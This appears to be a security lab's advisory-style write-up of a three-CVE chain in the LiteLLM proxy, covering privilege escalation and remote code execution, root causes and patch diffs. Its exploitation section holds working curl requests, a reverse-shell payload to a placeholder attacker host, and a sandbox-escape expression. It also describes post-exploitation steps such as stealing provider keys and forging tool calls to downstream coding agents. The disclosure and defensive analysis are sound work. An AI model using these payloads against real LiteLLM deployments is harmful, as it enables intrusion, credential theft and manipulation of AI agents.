News

LiteLLM RCE Chain: Three CVEs Enable AI Supply Chain Attack

By SecureLayer7 Lab

19 min read

LiteLLM RCE Chain: Three CVEs Enable AI Supply Chain Attack

LiteLLM is one of the most widely deployed open-source proxies for Large Language Model traffic. It sits in front of OpenAI, Anthropic, Azure OpenAI, Bedrock, Vertex, local models and dozens of other backends, mediating every request from internal applications and developer tools to the model providers. A chain of three vulnerabilities in LiteLLM’s management API allows a default-permission internal user — the lowest role the product offers — to escalate to proxy_admin and then execute arbitrary code on the LiteLLM server with a single HTTP request.

The chain is structural: each CVE on its own is a meaningful but contained authorization or sandboxing failure. Composed in sequence — a single Python script makes three HTTP calls — they collapse the gap between “default internal user” and “RCE on the LiteLLM host” to under two seconds.

What is LiteLLM?

LiteLLM is an open-source AI gateway maintained by BerriAI under the Apache 2.0 license. It exposes an OpenAI-compatible REST API and translates incoming requests to whichever provider backend the developer has configured — OpenAI, Anthropic, Google Vertex, AWS Bedrock, Azure OpenAI, Cohere, local Ollama models, dozens of others. Beyond translation, LiteLLM provides a virtual-key system (so applications carry rotatable LiteLLM keys rather than provider secrets), per-key rate limiting, budget enforcement, a guardrails framework for input/output filtering, and a management dashboard for users, teams, and organizations.

LiteLLM is widely deployed inside enterprises as the single funnel for AI traffic. It holds provider API keys, the configuration database, all virtual keys, audit logs, and — through its callback system — the ability to read and modify every model request and response in flight. A compromise of LiteLLM is therefore a supply-chain compromise of every AI-using application downstream of it. This blast radius is the reason the chain’s CVSS lands at 9.9.

The Attack Chain — Overview

attack flow of litellm three cve chain to rce
LiteLLM three-CVE chain: attacker to RCE in four steps

Four cards, three HTTP requests. Each step removes the cap installed by the previous defense layer — the chain works because no single component enforces “a user cannot affect resources beyond their role’s reach.”

Step 1 — The attacker. An ordinary internal_user account — the default role for anyone created via /user/new. No admin, no team, no special scope. This is the only prerequisite.

Step 2 — Wildcard key (CVE-2026-47101). POST /key/generate with allowed_routes: [“/*”]. The pre-patch _is_allowed_to_make_key_request checks only that the caller is acting on their own user; it never filters the requested routes against the caller’s role. The wildcard is treated as a grant rather than a constraint. The new sk-wildcard-… key now reaches every admin-only endpoint.

Step 3 — Self-promotion (CVE-2026-47102). POST /user/update with user_role: “proxy_admin”. The endpoint’s can_user_call_user_update admits self-updates without restricting which fields can be modified — textbook mass assignment. Pydantic forwards the body to the ORM, user_role is written, the attacker is now proxy_admin.

Step 4 — Remote code execution (CVE-2026-40217). POST /guardrails with a custom_code payload beginning __builtins__[‘__import__’](‘os’).system(…). _compile_custom_code runs the source through exec(source, {}). The Python language reference is unambiguous: when exec() receives a globals dict without __builtins__, Python silently inserts the full builtins module. The “sandbox” never existed. The shell fires at compile time — before apply_guardrail is ever invoked — as the LiteLLM process user. From that shell: provider API keys, virtual-key DB, audit log, and the callback system that can rewrite LLM responses to inject forged tool calls into downstream agents (Claude Code, Cursor, Aider, Copilot Chat).

At a glance. CVSS 9.9. Affected: all LiteLLM < v1.83.10-stable (47102 + partial 40217); all < v1.83.14-stable (47101 + complete 40217). Fixed: v1.83.14-stable (April 25, 2026). Required identity: any default internal_user. User interaction: none. Wire signature: three POSTs (/key/generate, /user/update, /guardrails) from the same source within seconds.

Exploitation

Identify the Target Version

If the version is < 1.83.10-stable, all three CVEs apply. If 1.83.10 ≤ version < 1.83.14, CVE-2026-47102 is patched but CVE-2026-47101 and the bytecode-bypass variant of CVE-2026-40217 remain.

Version fingerprint via x-litellm-version header
Version fingerprint via x-litellm-version header

Caption: curl —sI against /health reveals x-litellm-version: 1.83.9 in the response headers, confirming the target falls in the fully-vulnerable range (< 1.83.10-stable). All three chain CVEs apply.

Obtain an Initial Low-Privilege Account

In a typical deployment, internal users are created by an administrator through /user/new with the master key. For the attack to start, the attacker needs any such account — credentials of a developer, an SSO-provisioned account from an enterprise IdP, or an unused service-account key.

The attacker’s identity is LAB\internal_user with key sk-low-priv-XXXX. No special access beyond LLM proxy usage is required

Pre-exploit baseline — low-priv account denied at admin endpoint

Caption: Baseline test before exploitation. The attacker’s internal_user key (sk-low-priv-…) is rejected by /user/list with a 401 and the message “only proxy_admin allowed to access this endpoint.” This is the authorization cap CVE-2026-47101 will remove.

Issue the Wildcard Key (CVE-2026-47101)

Wildcard key issued via CVE-2026-47101
Wildcard key issued via CVE-2026-47101

Caption: The exploit fires. POST /key/generate with allowed_routes: [“/*”] is accepted by the server. The 200 response contains the new key (sk-wildcard-…) with the attacker-supplied wildcard scope persisted verbatim — exactly what the vulnerable _is_allowed_to_make_key_request would not block.

Wildcard key reaches admin surface
Wildcard key reaches admin surface

Caption: Proof of escalation. The same /user/list request that returned 401 with the original key now succeeds with the wildcard key, returning the full user table. The attacker still holds internal_user role (CVE-2026-47102 fixes that in the next stage) but the wildcard scope has already breached the role boundary at the route layer.

Self-Promote to proxy_admin (CVE-2026-47102)

WILDCARD_KEY="sk-wildcard-YYYY"

curl -s -X POST "${TARGET}/user/update" \
    -H "Authorization: Bearer ${WILDCARD_KEY}" \
    -H "Content-Type: application/json" \
    -d '{
        "user_id": "u-attacker",
        "user_role": "proxy_admin"
    }'
# {"user_id":"u-attacker","user_role":"proxy_admin",...}

# Confirm promotion
curl -s "${TARGET}/user/info?user_id=u-attacker" \
    -H "Authorization: Bearer ${WILDCARD_KEY}" | jq .user_role
# "proxy_admin"

Execute Code via Custom Code Guardrail (CVE-2026-40217)

The payload is a Python snippet whose module-level statement fires on exec() and whose required apply_guardrail function is a stub:

__builtins__['__import__']('os').system(
    'bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'
)

def apply_guardrail(inputs, request_data, input_type):
    return allow()

Delivered via:

PAYLOAD=$(python3 -c "
import json
code = '''__builtins__[\"__import__\"](\"os\").system('bash -c \"bash -i >& /dev/tcp/ATTACKER/4444 0>&1\"')
def apply_guardrail(inputs, request_data, input_type):
    return allow()'''
print(json.dumps({'guardrail_type':'custom_code','code':code,'name':'innocent_guardrail'}))
")

curl -s -X POST "${TARGET}/guardrails" \
    -H "Authorization: Bearer ${WILDCARD_KEY}" \
    -H "Content-Type: application/json" \
    -d "${PAYLOAD}"

The reverse shell connects back to the attacker’s listener as the user the LiteLLM process runs as — by default the litellm system user or the developer’s account in a pip install deployment.

Post-exploitation

From the LiteLLM process: read config.yaml (provider API keys), read the database (every virtual key), register an in-memory callback that observes every request flowing through the proxy, inject forged tool calls into LLM responses going back to downstream coding agents, and persist by writing a malicious guardrail to the database for re-installation on restart.

Static Analysis

Vulnerable Surface — The Management API

LiteLLM’s proxy server (started with litellm –config config.yaml) exposes two logical APIs on the same port (default :4000):

  • The LLM Proxy API — OpenAI-compatible endpoints (/v1/chat/completions, /v1/embeddings, etc.) that route to provider backends.
  • The Management API — endpoints under /key/*, /user/*, /team/*, /organization/*, /guardrails/*, /model/*. These manage users, virtual keys, roles, and configuration.

The chain operates entirely on the Management API. Most LiteLLM deployments do not segment the two APIs onto separate ports — a default install exposes both on the same listening socket. The Management API has its own bearer-token authentication and role model:

  • proxy_admin — LiteLLM administrator, can hit any endpoint.
  • org_admin — organization administrator, scoped to org-level management endpoints.
  • team — team-scoped account, can hit team-scoped LLM and key endpoints.
  • internal_user — default role for any account created via /user/new; can hit only self-management endpoints and the LLM proxy.

internal_user is the bar the chain starts from, and /user/new is invokable by anyone holding the master key, so the bar is low.

Verification Against the Patched Build

Firing the chain against v1.83.14-stable surfaces three failure modes — one per CVE — that together prove the patch:

  • Stage 1 (CVE-2026-47101) — /key/generate returns 403 with the message “internal_user is not permitted to grant route /*”.
  • Stage 2 (CVE-2026-47102) — /user/update, if reached with a legitimate non-wildcard key, returns 403 with “Cannot self-update fields: {‘user_role’}”.
  • Stage 3 (CVE-2026-40217) — /guardrails, if reached as proxy_admin, returns a RestrictedPython compile error rather than executing the payload.
CVE-2026-47101 blocked on the patched build

Caption: The chain script run against v1.83.14-stable. Stage 1 returns 403 with ROUTE_GRANT_DENIED and the explicit allowlist of routes the internal_user role is permitted to grant. The wildcard request never reaches the verification-token table. The same failure shape occurs for Stages 2 and 3 if the prior stage is bypassed by chance.

Root Cause Analysis

CVE-2026-47101 — allowed_routes as Grant, Not Constraint

The vulnerable function is _is_allowed_to_make_key_request() in litellm/proxy/management_endpoints/key_management_endpoints.py. Its job is to decide whether the caller is permitted to issue a virtual API key with the parameters they supplied. The check performs a single comparison — the user_id in the request must match the caller’s authenticated user_id — and treats allowed_routes as a passthrough field stored verbatim on the new key. The vulnerable function and its two sinks are shown in the screenshot below.

The downstream handler reads allowed_routes from the request body and writes it to the new key without applying the caller’s role as a filter:

new_key = await prisma_client.db.litellm_verificationtoken.create(
    data={
        "user_id": request.user_id,
        "allowed_routes": request.allowed_routes,  # <-- attacker-controlled
        "metadata": {"role_at_issuance": caller_role},
    }
)

A separate fallback in non_proxy_admin_allowed_routes_check() consults allowed_routes when role-based checks fail — treating the field as a permission grant. The semantic error is treating a constraint (this key can use at most the listed routes) as a grant (this key has been granted access to the listed routes). The two are syntactically identical at the field level but semantically opposite at the security level. A constraint is bounded above by what the caller could grant; a grant is bounded only by what the caller can put in the JSON body — which is everything.

vulnerable code litellm
Vulnerable _is_allowed_to_make_key_request in key_management_endpoints.py

Caption: The vulnerable code at litellm/proxy/management_endpoints/key_management_endpoints.py:142. Two sinks visible: line 149 returns True without filtering allowed_routes against the caller’s role; line 211 persists the attacker-supplied list verbatim into the new key’s database row.

CVE-2026-47102 — Field-Level Authorization Missing

The vulnerable function is can_user_call_user_update() in litellm/proxy/management_endpoints/internal_user_endpoints.py. The function returns True for any caller updating their own user row:

def can_user_call_user_update(
    target_user_id: str,
    caller_user_id: str,
    caller_role: str,
) -> bool:
    if caller_role == "proxy_admin":
        return True
    # Otherwise self-update is allowed
    return target_user_id == caller_user_id

The downstream handler accepts whatever fields the caller submits and writes them through the ORM:

update_payload = request.dict(exclude_unset=True)
await prisma_client.db.litellm_user.update(
    where={"user_id": request.user_id},
    data=update_payload,  # <-- includes user_role if attacker sent it
)

Self-update is a reasonable feature for changing display name, contact preferences, default model. The bug is that user_role is in the same payload as display_name. There is no field-level allowlist that says “self-update may modify only these columns.” Attackers exploit the gap by setting user_role: “proxy_admin” in the same request that legitimately updates their email.

The error is the classic “mass assignment” anti-pattern, well-known in Rails (attr_accessible) and Django (fields = ‘__all__’) circles but uncommon to spot in FastAPI/Pydantic codebases where the field-allowlist boundary is more implicit.

CVE-2026-40217 — Python __builtins__ Injection

This bug is the most teachable of the three because it depends on a Python language feature that surprises most developers. The vulnerable function is _compile_custom_code() in litellm/proxy/guardrails/guardrail_hooks/custom_code/custom_code_guardrail.py:

def _compile_custom_code(source: str) -> Callable:
    sandbox_globals: dict = {}                    # <-- bug
    sandbox_locals: dict = {}
    exec(source, sandbox_globals, sandbox_locals) # <-- bug fires
    return sandbox_locals["apply_guardrail"]

The intended behavior is “run the admin-supplied Python in a sandbox with no access to the standard library.” The actual behavior is the opposite. Per the Python language reference:

If the globals dictionary is present and does not contain a value for the key __builtins__, a reference to the dictionary of the built-in module builtins is inserted under that key before exec is parsed.

That single sentence is the entire bug. When exec() sees a globals dict without __builtins__, Python automatically inserts the full builtins module — making every name in __builtin__ available to the code being executed. The “sandbox” never existed; the runtime helpfully populated it back to a normal Python environment before the supplied code ran.

A minimal demonstration in the REPL:

>>> g = {}
>>> exec("print(__builtins__)", g)
<module 'builtins' (built-in)>
>>> g.keys()
dict_keys(['__builtins__'])
>>> exec("__builtins__['__import__']('os').system('id')", g)
uid=1000(user) gid=1000(user) groups=1000(user)
0
The full attacker payload exploits this in two lines:
__builtins__['__import__']('os').system(
    'bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'
)

def apply_guardrail(inputs, request_data, input_type):
    return allow()

The apply_guardrail function definition is needed only because the loader looks it up in sandbox_locals after exec. The reverse shell fires at compile time — before apply_guardrail is ever called — because exec() executes module-level statements top-to-bottom.

A separate flaw discovered by X41 D-Sec affects the /guardrails/test_custom_code playground endpoint, which applied a regex FORBIDDEN_PATTERNS deny-list intended to block dangerous calls. The regex was bypassable through runtime bytecode rewriting: the deny-list checks source-level patterns; once the code is compiled, the bytecode can do anything. This is the same class of bug as the first __builtins__ issue — a syntactic filter applied to a semantic problem.

How the Three Compose

CVE-2026-47101 hands the attacker a key with arbitrary route scope. CVE-2026-47102 hands them the highest role the system supports. CVE-2026-40217 hands them code execution in the LiteLLM process. Each step removes the cap installed by the previous defense layer. The bug is not any one component but the absence of a global invariant — “a user cannot affect resources beyond their role’s reach” — across all three.

Patch Diffing

CVE-2026-47101 — PRs #25445, #26492, #26493 (v1.83.14-stable)

The fix is conceptually simple: validate allowed_routes against the caller’s role before persisting. Implementation crosses three PRs because the role taxonomy needed corresponding constants and the validation needed to be applied at every key-mutation endpoint (/key/generate, /key/update, /key/regenerate, /key/service-account/generate). The conceptual git diff for _is_allowed_to_make_key_request is shown in the screenshot below.

The new ROLE_TO_ALLOWED_ROUTES map enumerates what each role is allowed to grant. internal_user cannot grant /* because /* is not in the internal_user allowlist. The treat-as-constraint semantics are restored.

CVE-2026-47101 patch diff — PR #25445

Caption: git diff view of the fix in PR #25445. The new requested_routes parameter is filtered against ROLE_TO_ALLOWED_ROUTES[caller_role] before the function returns True. Any route the caller’s role is not permitted to grant raises HTTPException(403) with a clear ROUTE_GRANT_DENIED error. The fix lands fully in v1.83.14-stable across PRs #25445, #26492, and #26493.

CVE-2026-47102 — PR #25541 (v1.83.10-stable)

The fix adds field-level authorization to can_user_call_user_update. Privileged fields (user_role, max_budget, tpm_limit, etc.) are listed explicitly and rejected for self-updates:

def can_user_call_user_update(
      target_user_id, caller_user_id, caller_role,
+     update_fields: Set[str]
  ) -> bool:
      if caller_role == "proxy_admin":
          return True
      if target_user_id != caller_user_id:
          return False
+     # Self-update only: reject privileged fields
+     privileged = {"user_role", "max_budget", "tpm_limit", "teams", "organizations"}
+     forbidden = update_fields & privileged
+     if forbidden:
+         raise HTTPException(403, f"Cannot self-update fields: {forbidden}")
      return True

The fix lands in v1.83.10-stable. The structural lesson is that field-allowlists must be explicit when an endpoint accepts arbitrary payloads — Pydantic models do not provide this by default.

CVE-2026-40217 — PR #22095 (partial, v1.83.10-stable) → PR #25818 (complete, v1.83.14-stable)

This is the most interesting patch in the bundle because the first fix was incomplete, and the story between the two PRs is the most teachable narrative in the whole chain.

PR #22095 added __builtins__ explicitly to the globals dictionary, forcing it to a restricted version:

def _compile_custom_code(source: str) -> Callable:
-     sandbox_globals: dict = {}
+     sandbox_globals: dict = {"__builtins__": {}}
      sandbox_locals: dict = {}
      exec(source, sandbox_globals, sandbox_locals)
      return sandbox_locals["apply_guardrail"]

Setting __builtins__ to an empty dict prevents Python from auto-injecting the full module. The __builtins__[‘__import__’] exploit no longer works because __import__ is no longer a key in the dict.

But this fix is incomplete. Python source code does not have to use the __builtins__ namespace to reach dangerous capabilities — it can reach them through any object reachable from the code. The classic bypass:

().__class__.__bases__[0].__subclasses__()

This expression walks from a tuple literal up to object and then enumerates every subclass object has — which includes file handles, subprocess wrappers, importers, and dozens of other dangerous classes. None of them are looked up through __builtins__. They are reached through the object class hierarchy that Python exposes on every literal.

X41 D-Sec’s report demonstrated a second bypass via runtime bytecode manipulation against the /guardrails/test_custom_code endpoint, which used a regex FORBIDDEN_PATTERNS deny-list. Both bypasses share the same defect: filtering source-level patterns when the compiled bytecode is what actually runs.

PR #25818 (v1.83.14-stable) is the complete fix. It replaces the homegrown sandbox with RestrictedPython — a long-standing library designed for exactly this problem, originally built for Zope. RestrictedPython compiles Python source through a customized AST that rejects access to private attributes (anything starting with _), strips dangerous builtins, and wraps every attribute access in a checker. The ().__class__ bypass fails because __class__ is a private attribute and RestrictedPython’s AST refuses to compile it.

def _compile_custom_code(source: str) -> Callable:
-     sandbox_globals: dict = {"__builtins__": {}}
-     sandbox_locals: dict = {}
-     exec(source, sandbox_globals, sandbox_locals)
+     from RestrictedPython import compile_restricted, safe_globals
+     code = compile_restricted(source, "<guardrail>", "exec")
+     sandbox_globals = dict(safe_globals)
+     sandbox_locals: dict = {}
+     exec(code, sandbox_globals, sandbox_locals)
      return sandbox_locals["apply_guardrail"]

This is the right answer. Custom Python sandboxes have failed every time they have been attempted; reusing a well-audited sandbox library is the only durable solution.

The Two-Step Fix Story

The CVE-2026-40217 history is worth highlighting in the published blog because it generalizes:

  1. The bug exists for years (LiteLLM’s guardrails feature was introduced before the audit).
  2. A reasonable-looking fix lands (PR #22095) — setting __builtins__ to {} is the textbook “shut the door” response.
  3. Bypasses surface (().__class__.__bases__[0], bytecode rewriting).
  4. The complete fix swaps the homegrown approach for a hardened library (RestrictedPython).

Every Python sandbox in the wild has followed approximately this trajectory. The lesson is not “use this exact RestrictedPython API”; the lesson is “do not build a Python sandbox by hand — the language model is too rich to constrain with a deny-list.”

Conclusion

Impact

The chain allows any LiteLLM internal user to achieve remote code execution on the LiteLLM host. Because LiteLLM mediates traffic between applications and language-model providers, compromising the LiteLLM host is a supply-chain compromise of every downstream AI consumer.

Why this is a supply-chain attack

The supply-chain framing in the title is not a metaphor. SolarWinds compromised the build pipeline of a network-monitoring agent installed on hundreds of thousands of hosts; the event-stream, colors, and ua-parser-js npm compromises shipped malicious code through trusted packages into millions of downstream applications; the XZ backdoor of 2024 attempted the same against the Linux software supply chain itself. The LiteLLM compromise documented here belongs to the same category — own one piece of trusted infrastructure that everyone downstream relies on, then ride that trust to reach systems you could never touch directly.

What sets the LiteLLM case apart from every previous supply-chain compromise is that the attacker controls the content of the trust channel in real time. SolarWinds and the npm-package families poison code that then runs identically every time it executes; the downstream blast radius is fixed at the moment of compromise. A compromised LiteLLM is different. The attacker’s in-process callback can read and rewrite every model request and response on the wire, which means the attacker can shape what every downstream coding agent — Claude Code, Cursor, Aider, Copilot Chat — actually executes, in response to each individual prompt, indefinitely. The classic supply-chain attack is a one-shot payload that bakes in its behavior at install time; the AI-gateway supply-chain attack is a persistent man-in-the-middle on every interaction every developer at the organization has with their AI tools. Compromise the gateway and you don’t just steal credentials — you steer the agent.

That distinction is what makes a CVSS 9.9 chain against an open-source AI proxy worth treating with the same seriousness as a compromise of an identity provider or a CI/CD system. The AI gateway is now in that same class of crown-jewel infrastructure, and the defensive playbook needs to catch up.